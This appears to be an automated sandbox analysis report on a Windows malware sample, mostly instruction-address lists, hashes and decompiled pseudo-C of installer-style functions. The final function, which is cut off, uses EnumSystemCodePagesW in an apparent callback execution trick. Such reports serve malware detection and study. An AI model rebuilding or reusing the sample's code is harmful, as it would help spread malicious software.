                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00000000
                                                                                                        0x0040685b
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406566
                                                                                                        0x00406569
                                                                                                        0x0040656c
                                                                                                        0x0040656e
                                                                                                        0x00406570
                                                                                                        0x00406570
                                                                                                        0x00406571
                                                                                                        0x00406574
                                                                                                        0x0040657b
                                                                                                        0x0040657e
                                                                                                        0x0040658c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406871
                                                                                                        0x00406871
                                                                                                        0x00406875
                                                                                                        0x004069ad
                                                                                                        0x00000000
                                                                                                        0x004069ad
                                                                                                        0x0040687b
                                                                                                        0x0040687e
                                                                                                        0x00406881
                                                                                                        0x00406885
                                                                                                        0x00406888
                                                                                                        0x0040688e
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406893
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406899
                                                                                                        0x00406899
                                                                                                        0x0040689d
                                                                                                        0x004068fd
                                                                                                        0x00406900
                                                                                                        0x00406905
                                                                                                        0x00406906
                                                                                                        0x00406908
                                                                                                        0x0040690a
                                                                                                        0x0040690d
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x0040681f
                                                                                                        0x00406819
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068bd
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068ef
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000
                                                                                                        0x004069cc
                                                                                                        0x00406819
                                                                                                        0x004067a0
                                                                                                        0x0040679d

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
                                                                                                        • Instruction ID: fa01dbb36adddbb747bc37ce8d7c8691094d52a97b4972d7f98645f49a39bfe1
                                                                                                        • Opcode Fuzzy Hash: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
                                                                                                        • Instruction Fuzzy Hash: B3715671D00229CBEF28CF98C844BADBBB1FF44305F11816AD856BB281C7795A56DF54
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 59%
                                                                                                        			E00401B06(void* __ebx, void* __edx) {
                                                                                                        				intOrPtr _t7;
                                                                                                        				void* _t8;
                                                                                                        				void _t11;
                                                                                                        				void* _t13;
                                                                                                        				void* _t21;
                                                                                                        				void* _t24;
                                                                                                        				void* _t30;
                                                                                                        				void* _t33;
                                                                                                        				void* _t34;
                                                                                                        				void* _t37;
                                                                                                        
                                                                                                        				_t27 = __ebx;
                                                                                                        				_t7 =  *((intOrPtr*)(_t37 - 0x1c));
                                                                                                        				_t30 =  *0x40af70; // 0x0
                                                                                                        				if(_t7 == __ebx) {
                                                                                                        					if(__edx == __ebx) {
                                                                                                        						_t8 = GlobalAlloc(0x40, 0x404); // executed
                                                                                                        						_t34 = _t8;
                                                                                                        						_t4 = _t34 + 4; // 0x4
                                                                                                        						E00405B88(__ebx, _t30, _t34, _t4,  *((intOrPtr*)(_t37 - 0x24)));
                                                                                                        						_t11 =  *0x40af70; // 0x0
                                                                                                        						 *_t34 = _t11;
                                                                                                        						 *0x40af70 = _t34;
                                                                                                        					} else {
                                                                                                        						if(_t30 == __ebx) {
                                                                                                        							 *((intOrPtr*)(_t37 - 4)) = 1;
                                                                                                        						} else {
                                                                                                        							_t2 = _t30 + 4; // 0x4
                                                                                                        							E00405B66(_t33, _t2);
                                                                                                        							_push(_t30);
                                                                                                        							 *0x40af70 =  *_t30;
                                                                                                        							GlobalFree();
                                                                                                        						}
                                                                                                        					}
                                                                                                        					goto L15;
                                                                                                        				} else {
                                                                                                        					while(1) {
                                                                                                        						_t7 = _t7 - 1;
                                                                                                        						if(_t30 == _t27) {
                                                                                                        							break;
                                                                                                        						}
                                                                                                        						_t30 =  *_t30;
                                                                                                        						if(_t7 != _t27) {
                                                                                                        							continue;
                                                                                                        						} else {
                                                                                                        							if(_t30 == _t27) {
                                                                                                        								break;
                                                                                                        							} else {
                                                                                                        								_t32 = _t30 + 4;
                                                                                                        								E00405B66(0x409b70, _t30 + 4);
                                                                                                        								_t21 =  *0x40af70; // 0x0
                                                                                                        								E00405B66(_t32, _t21 + 4);
                                                                                                        								_t24 =  *0x40af70; // 0x0
                                                                                                        								_push(0x409b70);
                                                                                                        								_push(_t24 + 4);
                                                                                                        								E00405B66();
                                                                                                        								L15:
                                                                                                        								 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t37 - 4));
                                                                                                        								_t13 = 0;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						goto L17;
                                                                                                        					}
                                                                                                        					_push(0x200010);
                                                                                                        					_push(E00405B88(_t27, _t30, _t33, _t27, 0xffffffe8));
                                                                                                        					E00405427();
                                                                                                        					_t13 = 0x7fffffff;
                                                                                                        				}
                                                                                                        				L17:
                                                                                                        				return _t13;
                                                                                                        			}













                                                                                                        0x00401b06
                                                                                                        0x00401b06
                                                                                                        0x00401b09
                                                                                                        0x00401b11
                                                                                                        0x00401b59
                                                                                                        0x00401b87
                                                                                                        0x00401b90
                                                                                                        0x00401b92
                                                                                                        0x00401b96
                                                                                                        0x00401b9b
                                                                                                        0x00401ba0
                                                                                                        0x00401ba2
                                                                                                        0x00401b5b
                                                                                                        0x00401b5d
                                                                                                        0x0040265c
                                                                                                        0x00401b63
                                                                                                        0x00401b63
                                                                                                        0x00401b68
                                                                                                        0x00401b6f
                                                                                                        0x00401b70
                                                                                                        0x00401b75
                                                                                                        0x00401b75
                                                                                                        0x00401b5d
                                                                                                        0x00000000
                                                                                                        0x00401b13
                                                                                                        0x00401b13
                                                                                                        0x00401b13
                                                                                                        0x00401b16
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00401b1c
                                                                                                        0x00401b20
                                                                                                        0x00000000
                                                                                                        0x00401b22
                                                                                                        0x00401b24
                                                                                                        0x00000000
                                                                                                        0x00401b2a
                                                                                                        0x00401b2a
                                                                                                        0x00401b34
                                                                                                        0x00401b39
                                                                                                        0x00401b43
                                                                                                        0x00401b48
                                                                                                        0x00401b4d
                                                                                                        0x00401b51
                                                                                                        0x004027b1
                                                                                                        0x0040288b
                                                                                                        0x0040288e
                                                                                                        0x00402894
                                                                                                        0x00402894
                                                                                                        0x00401b24
                                                                                                        0x00000000
                                                                                                        0x00401b20
                                                                                                        0x004021fb
                                                                                                        0x00402208
                                                                                                        0x00402209
                                                                                                        0x0040220e
                                                                                                        0x0040220e
                                                                                                        0x00402896
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • GlobalFree.KERNEL32 ref: 00401B75
                                                                                                        • GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401B87
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$AllocFree
                                                                                                        • String ID: Call
                                                                                                        • API String ID: 3394109436-1824292864
                                                                                                        • Opcode ID: 3001eae6ec482850bea73fdbff5ef22828da0663e2238209e73fb69c283a7197
                                                                                                        • Instruction ID: f6df762d61d54559a5bd4bb911f236f7c2d089bf7a2c1af573ad77b5def0dbe6
                                                                                                        • Opcode Fuzzy Hash: 3001eae6ec482850bea73fdbff5ef22828da0663e2238209e73fb69c283a7197
                                                                                                        • Instruction Fuzzy Hash: 9F2181B2A006169BC710AFA4DE85D5E73B4EB44318724463BF502F32D0DB7CB9129B5E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 69%
                                                                                                        			E00401389(signed int _a4) {
                                                                                                        				intOrPtr* _t6;
                                                                                                        				void* _t8;
                                                                                                        				void* _t10;
                                                                                                        				signed int _t11;
                                                                                                        				void* _t12;
                                                                                                        				signed int _t16;
                                                                                                        				signed int _t17;
                                                                                                        				void* _t18;
                                                                                                        
                                                                                                        				_t17 = _a4;
                                                                                                        				while(_t17 >= 0) {
                                                                                                        					_t6 = _t17 * 0x1c +  *0x423ed0;
                                                                                                        					if( *_t6 == 1) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					_push(_t6); // executed
                                                                                                        					_t8 = E00401434(); // executed
                                                                                                        					if(_t8 == 0x7fffffff) {
                                                                                                        						return 0x7fffffff;
                                                                                                        					}
                                                                                                        					_t10 = E0040136D(_t8);
                                                                                                        					if(_t10 != 0) {
                                                                                                        						_t11 = _t10 - 1;
                                                                                                        						_t16 = _t17;
                                                                                                        						_t17 = _t11;
                                                                                                        						_t12 = _t11 - _t16;
                                                                                                        					} else {
                                                                                                        						_t12 = _t10 + 1;
                                                                                                        						_t17 = _t17 + 1;
                                                                                                        					}
                                                                                                        					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
                                                                                                        						 *0x42368c =  *0x42368c + _t12;
                                                                                                        						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42368c, 0x7530,  *0x423674), 0);
                                                                                                        					}
                                                                                                        				}
                                                                                                        				return 0;
                                                                                                        			}











                                                                                                        0x0040138a
                                                                                                        0x004013fa
                                                                                                        0x0040139b
                                                                                                        0x004013a0
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004013a2
                                                                                                        0x004013a3
                                                                                                        0x004013ad
                                                                                                        0x00000000
                                                                                                        0x00401404
                                                                                                        0x004013b0
                                                                                                        0x004013b7
                                                                                                        0x004013bd
                                                                                                        0x004013be
                                                                                                        0x004013c0
                                                                                                        0x004013c2
                                                                                                        0x004013b9
                                                                                                        0x004013b9
                                                                                                        0x004013ba
                                                                                                        0x004013ba
                                                                                                        0x004013c9
                                                                                                        0x004013cb
                                                                                                        0x004013f4
                                                                                                        0x004013f4
                                                                                                        0x004013c9
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                                                                        • SendMessageA.USER32 ref: 004013F4
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend
                                                                                                        • String ID:
                                                                                                        • API String ID: 3850602802-0
                                                                                                        • Opcode ID: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
                                                                                                        • Instruction ID: b71ad761f0ea07ecc4e6183a90c0cd8288537aab3e92bb5761005deb6e4a9b1f
                                                                                                        • Opcode Fuzzy Hash: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
                                                                                                        • Instruction Fuzzy Hash: 20014431B24210ABE7291B388D08B2A32ADE714315F10423FF801F32F0D678DC028B4C
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 68%
                                                                                                        			E0040583D(CHAR* _a4, long _a8, long _a12) {
                                                                                                        				signed int _t5;
                                                                                                        				void* _t6;
                                                                                                        
                                                                                                        				_t5 = GetFileAttributesA(_a4); // executed
                                                                                                        				asm("sbb ecx, ecx");
                                                                                                        				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
                                                                                                        				return _t6;
                                                                                                        			}





                                                                                                        0x00405841
                                                                                                        0x0040584e
                                                                                                        0x00405863
                                                                                                        0x00405869

                                                                                                        APIs
                                                                                                        • GetFileAttributesA.KERNELBASE(00000003,00402CB5,C:\Users\user\Desktop\i6xFULh8J5.exe,80000000,00000003), ref: 00405841
                                                                                                        • CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: File$AttributesCreate
                                                                                                        • String ID:
                                                                                                        • API String ID: 415043291-0
                                                                                                        • Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
                                                                                                        • Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
                                                                                                        • Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
                                                                                                        • Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E0040581E(CHAR* _a4) {
                                                                                                        				signed char _t3;
                                                                                                        
                                                                                                        				_t3 = GetFileAttributesA(_a4); // executed
                                                                                                        				if(_t3 != 0xffffffff) {
                                                                                                        					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
                                                                                                        				}
                                                                                                        				return _t3;
                                                                                                        			}




                                                                                                        0x00405822
                                                                                                        0x0040582b
                                                                                                        0x00000000
                                                                                                        0x00405834
                                                                                                        0x0040583a

                                                                                                        APIs
                                                                                                        • GetFileAttributesA.KERNELBASE(?,00405629,?,?,?), ref: 00405822
                                                                                                        • SetFileAttributesA.KERNEL32(?,00000000), ref: 00405834
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: AttributesFile
                                                                                                        • String ID:
                                                                                                        • API String ID: 3188754299-0
                                                                                                        • Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
                                                                                                        • Instruction ID: 89544605ef234ac14ed66c3b065a2d642d1346908a696065e0ba681aeed38476
                                                                                                        • Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
                                                                                                        • Instruction Fuzzy Hash: F8C04CB1808501ABD7056B24EF0D81F7B66EF50325B108B35F5A9E00F0C7355C66DA1A
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 44%
                                                                                                        			E6FC72A38(void* __ecx, intOrPtr _a4) {
                                                                                                        				signed int _v8;
                                                                                                        				void* _t28;
                                                                                                        				void* _t29;
                                                                                                        				int _t33;
                                                                                                        				void* _t37;
                                                                                                        				void* _t40;
                                                                                                        				void* _t45;
                                                                                                        				void* _t49;
                                                                                                        				signed int _t56;
                                                                                                        				void* _t61;
                                                                                                        				void* _t70;
                                                                                                        				intOrPtr _t72;
                                                                                                        				signed int _t77;
                                                                                                        				intOrPtr _t79;
                                                                                                        				intOrPtr _t80;
                                                                                                        				void* _t81;
                                                                                                        				void* _t87;
                                                                                                        				void* _t88;
                                                                                                        				void* _t89;
                                                                                                        				void* _t90;
                                                                                                        				intOrPtr _t93;
                                                                                                        				intOrPtr _t94;
                                                                                                        
                                                                                                        				if( *0x6fc74040 != 0 && E6FC7297D(_a4) == 0) {
                                                                                                        					 *0x6fc74044 = _t93;
                                                                                                        					if( *0x6fc7403c != 0) {
                                                                                                        						_t93 =  *0x6fc7403c;
                                                                                                        					} else {
                                                                                                        						E6FC72F60(E6FC72977(), __ecx);
                                                                                                        						 *0x6fc7403c = _t93;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				_t28 = E6FC729AB(_a4);
                                                                                                        				_t94 = _t93 + 4;
                                                                                                        				if(_t28 <= 0) {
                                                                                                        					L9:
                                                                                                        					_t29 = E6FC7299F();
                                                                                                        					_t72 = _a4;
                                                                                                        					_t79 =  *0x6fc74048;
                                                                                                        					 *((intOrPtr*)(_t29 + _t72)) = _t79;
                                                                                                        					 *0x6fc74048 = _t72;
                                                                                                        					E6FC72999();
                                                                                                        					_t33 = EnumSystemCodePagesW(??, ??); // executed
                                                                                                        					 *0x6fc7401c = _t33;
                                                                                                        					 *0x6fc74020 = _t79;
                                                                                                        					if( *0x6fc74040 != 0 && E6FC7297D( *0x6fc74048) == 0) {
                                                                                                        						 *0x6fc7403c = _t94;
                                                                                                        						_t94 =  *0x6fc74044;
                                                                                                        					}
                                                                                                        					_t80 =  *0x6fc74048;
                                                                                                        					_a4 = _t80;
                                                                                                        					 *0x6fc74048 =  *((intOrPtr*)(E6FC7299F() + _t80));
                                                                                                        					_t37 = E6FC7298B(_t80);
                                                                                                        					_pop(_t81);
                                                                                                        					if(_t37 != 0) {
                                                                                                        						_t40 = E6FC729AB(_t81);
                                                                                                        						if(_t40 > 0) {
                                                                                                        							_push(_t40);
                                                                                                        							_push(E6FC729B6() + _a4 + _v8);
                                                                                                        							_push(E6FC729C0());
                                                                                                        							if( *0x6fc74040 <= 0 || E6FC7297D(_a4) != 0) {
                                                                                                        								_pop(_t88);
                                                                                                        								_pop(_t45);
                                                                                                        								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
                                                                                                        								if(__eflags == 0) {
                                                                                                        								}
                                                                                                        								asm("loop 0xfffffff5");
                                                                                                        							} else {
                                                                                                        								_pop(_t89);
                                                                                                        								_pop(_t49);
                                                                                                        								 *0x6fc7403c =  *0x6fc7403c +  *(_t89 + _t49) * 4;
                                                                                                        								asm("loop 0xffffffeb");
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					_t107 =  *0x6fc74048;
                                                                                                        					if( *0x6fc74048 == 0) {
                                                                                                        						 *0x6fc7403c = 0;
